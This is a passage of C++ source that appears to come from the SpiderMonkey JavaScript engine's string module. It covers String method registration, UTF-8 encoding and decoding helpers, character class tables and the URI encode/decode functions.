CallReceiverFromVp(vp)); } static JSBool str_sub(JSContext *cx, unsigned argc, Value *vp) { return tagify(cx, "sub", NULL, NULL, CallReceiverFromVp(vp)); } #endif /* JS_HAS_STR_HTML_HELPERS */ static JSFunctionSpec string_methods[] = { #if JS_HAS_TOSOURCE JS_FN("quote", str_quote, 0,JSFUN_GENERIC_NATIVE), JS_FN(js_toSource_str, str_toSource, 0,0), #endif /* Java-like methods. */ JS_FN(js_toString_str, js_str_toString, 0,0), JS_FN(js_valueOf_str, js_str_toString, 0,0), JS_FN("substring", str_substring, 2,JSFUN_GENERIC_NATIVE), JS_FN("toLowerCase", str_toLowerCase, 0,JSFUN_GENERIC_NATIVE), JS_FN("toUpperCase", str_toUpperCase, 0,JSFUN_GENERIC_NATIVE), JS_FN("charAt", js_str_charAt, 1,JSFUN_GENERIC_NATIVE), JS_FN("charCodeAt", js_str_charCodeAt, 1,JSFUN_GENERIC_NATIVE), #if 0 // See bug 789036 JS_FN("contains", str_contains, 1,JSFUN_GENERIC_NATIVE), #endif JS_FN("indexOf", str_indexOf, 1,JSFUN_GENERIC_NATIVE), JS_FN("lastIndexOf", str_lastIndexOf, 1,JSFUN_GENERIC_NATIVE), JS_FN("startsWith", str_startsWith, 1,JSFUN_GENERIC_NATIVE), JS_FN("endsWith", str_endsWith, 1,JSFUN_GENERIC_NATIVE), JS_FN("trim", str_trim, 0,JSFUN_GENERIC_NATIVE), JS_FN("trimLeft", str_trimLeft, 0,JSFUN_GENERIC_NATIVE), JS_FN("trimRight", str_trimRight, 0,JSFUN_GENERIC_NATIVE), JS_FN("toLocaleLowerCase", str_toLocaleLowerCase, 0,JSFUN_GENERIC_NATIVE), JS_FN("toLocaleUpperCase", str_toLocaleUpperCase, 0,JSFUN_GENERIC_NATIVE), JS_FN("localeCompare", str_localeCompare, 1,JSFUN_GENERIC_NATIVE), /* Perl-ish methods (search is actually Python-esque). */ JS_FN("match", str_match, 1,JSFUN_GENERIC_NATIVE), JS_FN("search", str_search, 1,JSFUN_GENERIC_NATIVE), JS_FN("replace", str_replace, 2,JSFUN_GENERIC_NATIVE), JS_FN("split", str_split, 2,JSFUN_GENERIC_NATIVE), JS_FN("substr", str_substr, 2,JSFUN_GENERIC_NATIVE), /* Python-esque sequence methods. */ JS_FN("concat", str_concat, 1,JSFUN_GENERIC_NATIVE), JS_FN("slice", str_slice, 2,JSFUN_GENERIC_NATIVE), /* HTML string methods. */ #if JS_HAS_STR_HTML_HELPERS JS_FN("bold", str_bold, 0,0), JS_FN("italics", str_italics, 0,0), JS_FN("fixed", str_fixed, 0,0), JS_FN("fontsize", str_fontsize, 1,0), JS_FN("fontcolor", str_fontcolor, 1,0), JS_FN("link", str_link, 1,0), JS_FN("anchor", str_anchor, 1,0), JS_FN("strike", str_strike, 0,0), JS_FN("small", str_small, 0,0), JS_FN("big", str_big, 0,0), JS_FN("blink", str_blink, 0,0), JS_FN("sup", str_sup, 0,0), JS_FN("sub", str_sub, 0,0), #endif JS_FN("iterator", JS_ArrayIterator, 0,0), JS_FS_END }; JSBool js_String(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString str(cx); if (args.length() > 0) { str = ToString(cx, args[0]); if (!str) return false; } else { str = cx->runtime->emptyString; } if (IsConstructing(args)) { StringObject *strobj = StringObject::create(cx, str); if (!strobj) return false; args.rval().setObject(*strobj); return true; } args.rval().setString(str); return true; } JSBool js::str_fromCharCode(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); JS_ASSERT(args.length() <= StackSpace::ARGS_LENGTH_MAX); if (args.length() == 1) { uint16_t code; if (!ToUint16(cx, args[0], &code)) return JS_FALSE; if (StaticStrings::hasUnit(code)) { args.rval().setString(cx->runtime->staticStrings.getUnit(code)); return JS_TRUE; } args[0].setInt32(code); } jschar *chars = (jschar *) cx->malloc_((args.length() + 1) * sizeof(jschar)); if (!chars) return JS_FALSE; for (unsigned i = 0; i < args.length(); i++) { uint16_t code; if (!ToUint16(cx, args[i], &code)) { cx->free_(chars); return JS_FALSE; } chars[i] = (jschar)code; } chars[args.length()] = 0; JSString *str = js_NewString(cx, chars, args.length()); if (!str) { cx->free_(chars); return JS_FALSE; } args.rval().setString(str); return JS_TRUE; } static JSFunctionSpec string_static_methods[] = { JS_FN("fromCharCode", js::str_fromCharCode, 1, 0), JS_FS_END }; Shape * StringObject::assignInitialShape(JSContext *cx) { JS_ASSERT(nativeEmpty()); return addDataProperty(cx, NameToId(cx->runtime->atomState.lengthAtom), LENGTH_SLOT, JSPROP_PERMANENT | JSPROP_READONLY); } JSObject * js_InitStringClass(JSContext *cx, JSObject *obj) { JS_ASSERT(obj->isNative()); Rooted global(cx, &obj->asGlobal()); Rooted empty(cx, cx->runtime->emptyString); RootedObject proto(cx, global->createBlankPrototype(cx, &StringClass)); if (!proto || !proto->asString().init(cx, empty)) return NULL; /* Now create the String function. */ RootedFunction ctor(cx, global->createConstructor(cx, js_String, CLASS_NAME(cx, String), 1)); if (!ctor) return NULL; if (!LinkConstructorAndPrototype(cx, ctor, proto)) return NULL; if (!DefinePropertiesAndBrand(cx, proto, NULL, string_methods) || !DefinePropertiesAndBrand(cx, ctor, NULL, string_static_methods)) { return NULL; } if (!DefineConstructorAndPrototype(cx, global, JSProto_String, ctor, proto)) return NULL; /* * Define escape/unescape, the URI encode/decode functions, and maybe * uneval on the global object. */ if (!JS_DefineFunctions(cx, global, string_functions)) return NULL; return proto; } JSFixedString * js_NewString(JSContext *cx, jschar *chars, size_t length) { JSFixedString *s = JSFixedString::new_(cx, chars, length); if (s) Probes::createString(cx, s, length); return s; } static JSInlineString * NewShortString(JSContext *cx, const char *chars, size_t length) { JS_ASSERT(JSShortString::lengthFits(length)); JSInlineString *str = JSInlineString::lengthFits(length) ? JSInlineString::new_(cx) : JSShortString::new_(cx); if (!str) return NULL; jschar *storage = str->init(length); if (js_CStringsAreUTF8) { #ifdef DEBUG size_t oldLength = length; #endif if (!InflateUTF8StringToBuffer(cx, chars, length, storage, &length)) return NULL; JS_ASSERT(length <= oldLength); storage[length] = 0; str->resetLength(length); } else { size_t n = length; jschar *p = storage; while (n--) *p++ = (unsigned char)*chars++; *p = 0; } Probes::createString(cx, str, length); return str; } JSLinearString * js_NewDependentString(JSContext *cx, JSString *baseArg, size_t start, size_t length) { if (length == 0) return cx->runtime->emptyString; JSLinearString *base = baseArg->ensureLinear(cx); if (!base) return NULL; if (start == 0 && length == base->length()) return base; const jschar *chars = base->chars() + start; if (JSLinearString *staticStr = cx->runtime->staticStrings.lookup(chars, length)) return staticStr; JSLinearString *s = JSDependentString::new_(cx, base, chars, length); Probes::createString(cx, s, length); return s; } JSFixedString * js_NewStringCopyN(JSContext *cx, const jschar *s, size_t n) { if (JSShortString::lengthFits(n)) return NewShortString(cx, s, n); jschar *news = (jschar *) cx->malloc_((n + 1) * sizeof(jschar)); if (!news) return NULL; js_strncpy(news, s, n); news[n] = 0; JSFixedString *str = js_NewString(cx, news, n); if (!str) cx->free_(news); return str; } JSFixedString * js_NewStringCopyN(JSContext *cx, const char *s, size_t n) { if (JSShortString::lengthFits(n)) return NewShortString(cx, s, n); jschar *chars = InflateString(cx, s, &n); if (!chars) return NULL; JSFixedString *str = js_NewString(cx, chars, n); if (!str) cx->free_(chars); return str; } JSFixedString * js_NewStringCopyZ(JSContext *cx, const jschar *s) { size_t n = js_strlen(s); if (JSShortString::lengthFits(n)) return NewShortString(cx, s, n); size_t m = (n + 1) * sizeof(jschar); jschar *news = (jschar *) cx->malloc_(m); if (!news) return NULL; js_memcpy(news, s, m); JSFixedString *str = js_NewString(cx, news, n); if (!str) cx->free_(news); return str; } JSFixedString * js_NewStringCopyZ(JSContext *cx, const char *s) { return js_NewStringCopyN(cx, s, strlen(s)); } const char * js_ValueToPrintable(JSContext *cx, const Value &v, JSAutoByteString *bytes, bool asSource) { JSString *str; str = (asSource ? js_ValueToSource : ToString)(cx, v); if (!str) return NULL; str = js_QuoteString(cx, str, 0); if (!str) return NULL; return bytes->encode(cx, str); } JSString * js::ToStringSlow(JSContext *cx, const Value &arg) { /* As with ToObjectSlow, callers must verify that |arg| isn't a string. */ JS_ASSERT(!arg.isString()); Value v = arg; if (!ToPrimitive(cx, JSTYPE_STRING, &v)) return NULL; JSString *str; if (v.isString()) { str = v.toString(); } else if (v.isInt32()) { str = Int32ToString(cx, v.toInt32()); } else if (v.isDouble()) { str = js_NumberToString(cx, v.toDouble()); } else if (v.isBoolean()) { str = js_BooleanToString(cx, v.toBoolean()); } else if (v.isNull()) { str = cx->runtime->atomState.nullAtom; } else { str = cx->runtime->atomState.typeAtoms[JSTYPE_VOID]; } return str; } JS_FRIEND_API(JSString *) js_ValueToSource(JSContext *cx, const Value &v) { JS_CHECK_RECURSION(cx, return NULL); if (v.isUndefined()) return cx->runtime->atomState.void0Atom; if (v.isString()) return js_QuoteString(cx, v.toString(), '"'); if (v.isPrimitive()) { /* Special case to preserve negative zero, _contra_ toString. */ if (v.isDouble() && MOZ_DOUBLE_IS_NEGATIVE_ZERO(v.toDouble())) { /* NB: _ucNstr rather than _ucstr to indicate non-terminated. */ static const jschar js_negzero_ucNstr[] = {'-', '0'}; return js_NewStringCopyN(cx, js_negzero_ucNstr, 2); } return ToString(cx, v); } Value rval = NullValue(); RootedValue fval(cx); RootedId id(cx, NameToId(cx->runtime->atomState.toSourceAtom)); Rooted obj(cx, &v.toObject()); if (!GetMethod(cx, obj, id, 0, &fval)) return NULL; if (js_IsCallable(fval)) { if (!Invoke(cx, ObjectValue(*obj), fval, 0, NULL, &rval)) return NULL; } return ToString(cx, rval); } namespace js { bool EqualStrings(JSContext *cx, JSString *str1, JSString *str2, bool *result) { if (str1 == str2) { *result = true; return true; } size_t length1 = str1->length(); if (length1 != str2->length()) { *result = false; return true; } JSLinearString *linear1 = str1->ensureLinear(cx); if (!linear1) return false; JSLinearString *linear2 = str2->ensureLinear(cx); if (!linear2) return false; *result = PodEqual(linear1->chars(), linear2->chars(), length1); return true; } bool EqualStrings(JSLinearString *str1, JSLinearString *str2) { if (str1 == str2) return true; size_t length1 = str1->length(); if (length1 != str2->length()) return false; return PodEqual(str1->chars(), str2->chars(), length1); } } /* namespace js */ namespace js { static bool CompareStringsImpl(JSContext *cx, JSString *str1, JSString *str2, int32_t *result) { JS_ASSERT(str1); JS_ASSERT(str2); if (str1 == str2) { *result = 0; return true; } const jschar *s1 = str1->getChars(cx); if (!s1) return false; const jschar *s2 = str2->getChars(cx); if (!s2) return false; return CompareChars(s1, str1->length(), s2, str2->length(), result); } bool CompareStrings(JSContext *cx, JSString *str1, JSString *str2, int32_t *result) { return CompareStringsImpl(cx, str1, str2, result); } } /* namespace js */ namespace js { bool StringEqualsAscii(JSLinearString *str, const char *asciiBytes) { size_t length = strlen(asciiBytes); #ifdef DEBUG for (size_t i = 0; i != length; ++i) JS_ASSERT(unsigned(asciiBytes[i]) <= 127); #endif if (length != str->length()) return false; const jschar *chars = str->chars(); for (size_t i = 0; i != length; ++i) { if (unsigned(asciiBytes[i]) != unsigned(chars[i])) return false; } return true; } } /* namespacejs */ size_t js_strlen(const jschar *s) { const jschar *t; for (t = s; *t != 0; t++) continue; return (size_t)(t - s); } jschar * js_strchr(const jschar *s, jschar c) { while (*s != 0) { if (*s == c) return (jschar *)s; s++; } return NULL; } jschar * js_strdup(JSContext *cx, const jschar *s) { size_t n = js_strlen(s); jschar *ret = static_cast(cx->malloc_((n + 1) * sizeof(jschar))); if (!ret) return NULL; js_strncpy(ret, s, n); ret[n] = '\0'; return ret; } jschar * js_strchr_limit(const jschar *s, jschar c, const jschar *limit) { while (s < limit) { if (*s == c) return (jschar *)s; s++; } return NULL; } namespace js { jschar * InflateString(JSContext *cx, const char *bytes, size_t *lengthp, FlationCoding fc) { size_t nchars; jschar *chars; size_t nbytes = *lengthp; // Malformed UTF8 chars could trigger errors and hence GC MaybeCheckStackRoots(cx); if (js_CStringsAreUTF8 || fc == CESU8Encoding) { if (!InflateUTF8StringToBuffer(cx, bytes, nbytes, NULL, &nchars, fc)) goto bad; chars = (jschar *) cx->malloc_((nchars + 1) * sizeof (jschar)); if (!chars) goto bad; JS_ALWAYS_TRUE(InflateUTF8StringToBuffer(cx, bytes, nbytes, chars, &nchars, fc)); } else { nchars = nbytes; chars = (jschar *) cx->malloc_((nchars + 1) * sizeof(jschar)); if (!chars) goto bad; for (size_t i = 0; i < nchars; i++) chars[i] = (unsigned char) bytes[i]; } *lengthp = nchars; chars[nchars] = 0; return chars; bad: /* * For compatibility with callers of JS_DecodeBytes we must zero lengthp * on errors. */ *lengthp = 0; return NULL; } /* * May be called with null cx. */ char * DeflateString(JSContext *cx, const jschar *chars, size_t nchars) { size_t nbytes, i; char *bytes; if (js_CStringsAreUTF8) { nbytes = GetDeflatedStringLength(cx, chars, nchars); if (nbytes == (size_t) -1) return NULL; bytes = (char *) (cx ? cx->malloc_(nbytes + 1) : OffTheBooks::malloc_(nbytes + 1)); if (!bytes) return NULL; JS_ALWAYS_TRUE(DeflateStringToBuffer(cx, chars, nchars, bytes, &nbytes)); } else { nbytes = nchars; bytes = (char *) (cx ? cx->malloc_(nbytes + 1) : OffTheBooks::malloc_(nbytes + 1)); if (!bytes) return NULL; for (i = 0; i < nbytes; i++) bytes[i] = (char) chars[i]; } bytes[nbytes] = 0; return bytes; } size_t GetDeflatedStringLength(JSContext *cx, const jschar *chars, size_t nchars) { if (!js_CStringsAreUTF8) return nchars; return GetDeflatedUTF8StringLength(cx, chars, nchars); } /* * May be called with null cx through public API, see below. */ size_t GetDeflatedUTF8StringLength(JSContext *cx, const jschar *chars, size_t nchars, FlationCoding fc) { size_t nbytes; const jschar *end; unsigned c, c2; char buffer[10]; bool useCESU8 = fc == CESU8Encoding; nbytes = nchars; for (end = chars + nchars; chars != end; chars++) { c = *chars; if (c < 0x80) continue; if (0xD800 <= c && c <= 0xDFFF && !useCESU8) { /* Surrogate pair. */ chars++; /* nbytes sets 1 length since this is surrogate pair. */ nbytes--; if (c >= 0xDC00 || chars == end) goto bad_surrogate; c2 = *chars; if (c2 < 0xDC00 || c2 > 0xDFFF) goto bad_surrogate; c = ((c - 0xD800) << 10) + (c2 - 0xDC00) + 0x10000; } c >>= 11; nbytes++; while (c) { c >>= 5; nbytes++; } } return nbytes; bad_surrogate: if (cx) { JS_snprintf(buffer, 10, "0x%x", c); JS_ReportErrorFlagsAndNumber(cx, JSREPORT_ERROR, js_GetErrorMessage, NULL, JSMSG_BAD_SURROGATE_CHAR, buffer); } return (size_t) -1; } bool DeflateStringToBuffer(JSContext *cx, const jschar *src, size_t srclen, char *dst, size_t *dstlenp) { size_t dstlen, i; dstlen = *dstlenp; if (!js_CStringsAreUTF8) { if (srclen > dstlen) { for (i = 0; i < dstlen; i++) dst[i] = (char) src[i]; if (cx) { JS_ReportErrorNumber(cx, js_GetErrorMessage, NULL, JSMSG_BUFFER_TOO_SMALL); } return JS_FALSE; } for (i = 0; i < srclen; i++) dst[i] = (char) src[i]; *dstlenp = srclen; return JS_TRUE; } return DeflateStringToUTF8Buffer(cx, src, srclen, dst, dstlenp); } bool DeflateStringToUTF8Buffer(JSContext *cx, const jschar *src, size_t srclen, char *dst, size_t *dstlenp, FlationCoding fc) { size_t i, utf8Len; jschar c, c2; uint32_t v; uint8_t utf8buf[6]; bool useCESU8 = fc == CESU8Encoding; size_t dstlen = *dstlenp; size_t origDstlen = dstlen; while (srclen) { c = *src++; srclen--; if ((c >= 0xDC00) && (c <= 0xDFFF) && !useCESU8) goto badSurrogate; if (c < 0xD800 || c > 0xDBFF || useCESU8) { v = c; } else { if (srclen < 1) goto badSurrogate; c2 = *src; if ((c2 < 0xDC00) || (c2 > 0xDFFF)) goto badSurrogate; src++; srclen--; v = ((c - 0xD800) << 10) + (c2 - 0xDC00) + 0x10000; } if (v < 0x0080) { /* no encoding necessary - performance hack */ if (dstlen == 0) goto bufferTooSmall; *dst++ = (char) v; utf8Len = 1; } else { utf8Len = js_OneUcs4ToUtf8Char(utf8buf, v); if (utf8Len > dstlen) goto bufferTooSmall; for (i = 0; i < utf8Len; i++) *dst++ = (char) utf8buf[i]; } dstlen -= utf8Len; } *dstlenp = (origDstlen - dstlen); return JS_TRUE; badSurrogate: *dstlenp = (origDstlen - dstlen); /* Delegate error reporting to the measurement function. */ if (cx) GetDeflatedStringLength(cx, src - 1, srclen + 1); return JS_FALSE; bufferTooSmall: *dstlenp = (origDstlen - dstlen); if (cx) { JS_ReportErrorNumber(cx, js_GetErrorMessage, NULL, JSMSG_BUFFER_TOO_SMALL); } return JS_FALSE; } bool InflateStringToBuffer(JSContext *cx, const char *src, size_t srclen, jschar *dst, size_t *dstlenp) { size_t dstlen, i; if (js_CStringsAreUTF8) return InflateUTF8StringToBuffer(cx, src, srclen, dst, dstlenp); if (dst) { dstlen = *dstlenp; if (srclen > dstlen) { for (i = 0; i < dstlen; i++) dst[i] = (unsigned char) src[i]; if (cx) { JS_ReportErrorNumber(cx, js_GetErrorMessage, NULL, JSMSG_BUFFER_TOO_SMALL); } return JS_FALSE; } for (i = 0; i < srclen; i++) dst[i] = (unsigned char) src[i]; } *dstlenp = srclen; return JS_TRUE; } bool InflateUTF8StringToBuffer(JSContext *cx, const char *src, size_t srclen, jschar *dst, size_t *dstlenp, FlationCoding fc) { size_t dstlen, origDstlen, offset, j, n; uint32_t v; dstlen = dst ? *dstlenp : (size_t) -1; origDstlen = dstlen; offset = 0; bool useCESU8 = fc == CESU8Encoding; while (srclen) { v = (uint8_t) *src; n = 1; if (v & 0x80) { while (v & (0x80 >> n)) n++; if (n > srclen) goto bufferTooSmall; if (n == 1 || n > 4) goto badCharacter; for (j = 1; j < n; j++) { if ((src[j] & 0xC0) != 0x80) goto badCharacter; } v = Utf8ToOneUcs4Char((uint8_t *)src, n); if (v >= 0x10000 && !useCESU8) { v -= 0x10000; if (v > 0xFFFFF || dstlen < 2) { *dstlenp = (origDstlen - dstlen); if (cx) { char buffer[10]; JS_snprintf(buffer, 10, "0x%x", v + 0x10000); JS_ReportErrorFlagsAndNumber(cx, JSREPORT_ERROR, js_GetErrorMessage, NULL, JSMSG_UTF8_CHAR_TOO_LARGE, buffer); } return JS_FALSE; } if (dst) { *dst++ = (jschar)((v >> 10) + 0xD800); v = (jschar)((v & 0x3FF) + 0xDC00); } dstlen--; } } if (!dstlen) goto bufferTooSmall; if (dst) *dst++ = (jschar) v; dstlen--; offset += n; src += n; srclen -= n; } *dstlenp = (origDstlen - dstlen); return JS_TRUE; badCharacter: *dstlenp = (origDstlen - dstlen); if (cx) { char buffer[10]; JS_snprintf(buffer, 10, "%d", offset); JS_ReportErrorFlagsAndNumber(cx, JSREPORT_ERROR, js_GetErrorMessage, NULL, JSMSG_MALFORMED_UTF8_CHAR, buffer); } return JS_FALSE; bufferTooSmall: *dstlenp = (origDstlen - dstlen); if (cx) { JS_ReportErrorNumber(cx, js_GetErrorMessage, NULL, JSMSG_BUFFER_TOO_SMALL); } return JS_FALSE; } } /* namepsace js */ const jschar js_uriReservedPlusPound_ucstr[] = {';', '/', '?', ':', '@', '&', '=', '+', '$', ',', '#', 0}; const jschar js_uriUnescaped_ucstr[] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '-', '_', '.', '!', '~', '*', '\'', '(', ')', 0}; #define ____ false /* * Identifier start chars: * - 36: $ * - 65..90: A..Z * - 95: _ * - 97..122: a..z */ const bool js_isidstart[] = { /* 0 1 2 3 4 5 6 7 8 9 */ /* 0 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 1 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 2 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 3 */ ____, ____, ____, ____, ____, ____, true, ____, ____, ____, /* 4 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 5 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 6 */ ____, ____, ____, ____, ____, true, true, true, true, true, /* 7 */ true, true, true, true, true, true, true, true, true, true, /* 8 */ true, true, true, true, true, true, true, true, true, true, /* 9 */ true, ____, ____, ____, ____, true, ____, true, true, true, /* 10 */ true, true, true, true, true, true, true, true, true, true, /* 11 */ true, true, true, true, true, true, true, true, true, true, /* 12 */ true, true, true, ____, ____, ____, ____, ____ }; /* * Identifier chars: * - 36: $ * - 48..57: 0..9 * - 65..90: A..Z * - 95: _ * - 97..122: a..z */ const bool js_isident[] = { /* 0 1 2 3 4 5 6 7 8 9 */ /* 0 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 1 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 2 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 3 */ ____, ____, ____, ____, ____, ____, true, ____, ____, ____, /* 4 */ ____, ____, ____, ____, ____, ____, ____, ____, true, true, /* 5 */ true, true, true, true, true, true, true, true, ____, ____, /* 6 */ ____, ____, ____, ____, ____, true, true, true, true, true, /* 7 */ true, true, true, true, true, true, true, true, true, true, /* 8 */ true, true, true, true, true, true, true, true, true, true, /* 9 */ true, ____, ____, ____, ____, true, ____, true, true, true, /* 10 */ true, true, true, true, true, true, true, true, true, true, /* 11 */ true, true, true, true, true, true, true, true, true, true, /* 12 */ true, true, true, ____, ____, ____, ____, ____ }; /* Whitespace chars: '\t', '\n', '\v', '\f', '\r', ' '. */ const bool js_isspace[] = { /* 0 1 2 3 4 5 6 7 8 9 */ /* 0 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, true, /* 1 */ true, true, true, true, ____, ____, ____, ____, ____, ____, /* 2 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 3 */ ____, ____, true, ____, ____, ____, ____, ____, ____, ____, /* 4 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 5 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 6 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 7 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 8 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 9 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 10 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 11 */ ____, ____, ____, ____, ____, ____, ____, ____, ____, ____, /* 12 */ ____, ____, ____, ____, ____, ____, ____, ____ }; #undef ____ #define URI_CHUNK 64U static inline bool TransferBufferToString(JSContext *cx, StringBuffer &sb, Value *rval) { JSString *str = sb.finishString(); if (!str) return false; rval->setString(str); return true; } /* * ECMA 3, 15.1.3 URI Handling Function Properties * * The following are implementations of the algorithms * given in the ECMA specification for the hidden functions * 'Encode' and 'Decode'. */ static JSBool Encode(JSContext *cx, JSString *str, const jschar *unescapedSet, const jschar *unescapedSet2, Value *rval) { static const char HexDigits[] = "0123456789ABCDEF"; /* NB: uppercase */ size_t length = str->length(); const jschar *chars = str->getChars(cx); if (!chars) return JS_FALSE; if (length == 0) { rval->setString(cx->runtime->emptyString); return JS_TRUE; } StringBuffer sb(cx); jschar hexBuf[4]; hexBuf[0] = '%'; hexBuf[3] = 0; for (size_t k = 0; k < length; k++) { jschar c = chars[k]; if (js_strchr(unescapedSet, c) || (unescapedSet2 && js_strchr(unescapedSet2, c))) { if (!sb.append(c)) return JS_FALSE; } else { if ((c >= 0xDC00) && (c <= 0xDFFF)) { JS_ReportErrorNumber(cx, js_GetErrorMessage, NULL, JSMSG_BAD_URI, NULL); return JS_FALSE; } uint32_t v; if (c < 0xD800 || c > 0xDBFF) { v = c; } else { k++; if (k == length) { JS_ReportErrorNumber(cx, js_GetErrorMessage, NULL, JSMSG_BAD_URI, NULL); return JS_FALSE; } jschar c2 = chars[k]; if ((c2 < 0xDC00) || (c2 > 0xDFFF)) { JS_ReportErrorNumber(cx, js_GetErrorMessage, NULL, JSMSG_BAD_URI, NULL); return JS_FALSE; } v = ((c - 0xD800) << 10) + (c2 - 0xDC00) + 0x10000; } uint8_t utf8buf[4]; size_t L = js_OneUcs4ToUtf8Char(utf8buf, v); for (size_t j = 0; j < L; j++) { hexBuf[1] = HexDigits[utf8buf[j] >> 4]; hexBuf[2] = HexDigits[utf8buf[j] & 0xf]; if (!sb.append(hexBuf, 3)) return JS_FALSE; } } } return TransferBufferToString(cx, sb, rval); } static JSBool Decode(JSContext *cx, JSString *str, const jschar *reservedSet, Value *rval) { size_t length = str->length(); const jschar *chars = str->getChars(cx); if (!chars) return JS_FALSE; if (length == 0) { rval->setString(cx->runtime->emptyString); return JS_TRUE; } StringBuffer sb(cx); for (size_t k = 0; k < length; k++) { jschar c = chars[k]; if (c == '%') { size_t start = k; if ((k + 2) >= length) goto report_bad_uri; if (!JS7_ISHEX(chars[k+1]) || !JS7_ISHEX(chars[k+2])) goto report_bad_uri; uint32_t B = JS7_UNHEX(chars[k+1]) * 16 + JS7_UNHEX(chars[k+2]); k += 2; if (!(B & 0x80)) { c = (jschar)B; } else { int n = 1; while (B & (0x80 >> n)) n++; if (n == 1 || n > 4) goto report_bad_uri; uint8_t octets[4]; octets[0] = (uint8_t)B; if (k + 3 * (n - 1) >= length) goto report_bad_uri; for (int j = 1; j < n; j++) { k++; if (chars[k] != '%') goto report_bad_uri; if (!JS7_ISHEX(chars[k+1]) || !JS7_ISHEX(chars[k+2])) goto report_bad_uri; B = JS7_UNHEX(chars[k+1]) * 16 + JS7_UNHEX(chars[k+2]); if ((B & 0xC0) != 0x80) goto report_bad_uri; k += 2; octets[j] = (char)B; } uint32_t v = Utf8ToOneUcs4Char(octets, n); if (v >= 0x10000) { v -= 0x10000; if (v > 0xFFFFF) goto report_bad_uri; c = (jschar)((v & 0x3FF) + 0xDC00); jschar H = (jschar)((v >> 10) + 0xD800); if (!sb.append(H)) return JS_FALSE; } else { c = (jschar)v; } } if (js_strchr(reservedSet, c)) { if (!sb.append(chars + start, k - start + 1)) return JS_FALSE; } else { if (!sb.append(c)) return JS_FALSE; } } else { if (!sb.append(c)) return JS_FALSE; } } return TransferBufferToString(cx, sb, rval); report_bad_uri: JS_ReportErrorNumber(cx, js_GetErrorMessage, NULL, JSMSG_BAD_URI); /* FALL THROUGH */ return JS_FALSE; } static JSBool str_decodeURI(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); JSLinearString *str = ArgToRootedString(cx, args, 0); if (!str) return false; Value result; if (!Decode(cx, str, js_uriReservedPlusPound_ucstr, &result)) return false; args.rval().set(result); return true; } static JSBool str_decodeURI_Component(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); JSLinearString *str = ArgToRootedString(cx, args, 0); if (!str) return false; Value result; if (!Decode(cx, str, js_empty_ucstr, &result)) return false; args.rval().set(result); return true; } static JSBool str_encodeURI(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); JSLinearString *str = ArgToRootedString(cx, args, 0); if (!str) return false; Value result; if (!Encode(cx, str, js_uriReservedPlusPound_ucstr, js_uriUnescaped_ucstr, &result)) return false; args.rval().set(result); return true; } static JSBool str_encodeURI_Component(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); JSLinearString *str = ArgToRootedString(cx, args, 0); if (!str) return false; Value result; if (!Encode(cx, str, js_uriUnescaped_ucstr, NULL, &result)) return false; args.rval().set(result); return true; } /* * Convert one UCS-4 char and write it into a UTF-8 buffer, which must be at * least 4 bytes long. Return the number of UTF-8 bytes of data written. */ int js_OneUcs4ToUtf8Char(uint8_t *utf8Buffer, uint32_t ucs4Char) { int utf8Length = 1; JS_ASSERT(ucs4Char <= 0x10FFFF); if (ucs4Char < 0x80) { *utf8Buffer = (uint8_t)ucs4Char; } else { int i; uint32_t a = ucs4Char >> 11; utf8Length = 2; while (a) { a >>= 5; utf8Length++; } i = utf8Length; while (--i) { utf8Buffer[i] = (uint8_t)((ucs4Char & 0x3F) | 0x80); ucs4Char >>= 6; } *utf8Buffer = (uint8_t)(0x100 - (1 << (8-utf8Length)) + ucs4Char); } return utf8Length; } /* * Convert a utf8 character sequence into a UCS-4 character and return that * character. It is assumed that the caller already checked that the sequence * is valid. */ static uint32_t Utf8ToOneUcs4Char(const uint8_t *utf8Buffer, int utf8Length) { JS_ASSERT(1 <= utf8Length && utf8Length <= 4); if (utf8Length == 1) { JS_ASSERT(!(*utf8Buffer & 0x80)); return *utf8Buffer; } /* from Unicode 3.1, non-shortest form is illegal */ static const uint32_t minucs4Table[] = { 0x80, 0x800, 0x10000 }; JS_ASSERT((*utf8Buffer & (0x100 - (1 << (7 - utf8Length)))) == (0x100 - (1 << (8 - utf8Length)))); uint32_t ucs4Char = *utf8Buffer++ & ((1 << (7 - utf8Length)) - 1); uint32_t minucs4Char = minucs4Table[utf8Length - 2]; while (--utf8Length) { JS_ASSERT((*utf8Buffer & 0xC0) == 0x80); ucs4Char = (ucs4Char << 6) | (*utf8Buffer++ & 0x3F); } if (JS_UNLIKELY(ucs4Char < minucs4Char || (ucs4Char >= 0xD800 && ucs4Char <= 0xDFFF))) return INVALID_UTF8; return ucs4Char; } namespace js { size_t PutEscapedStringImpl(char *buffer, size_t 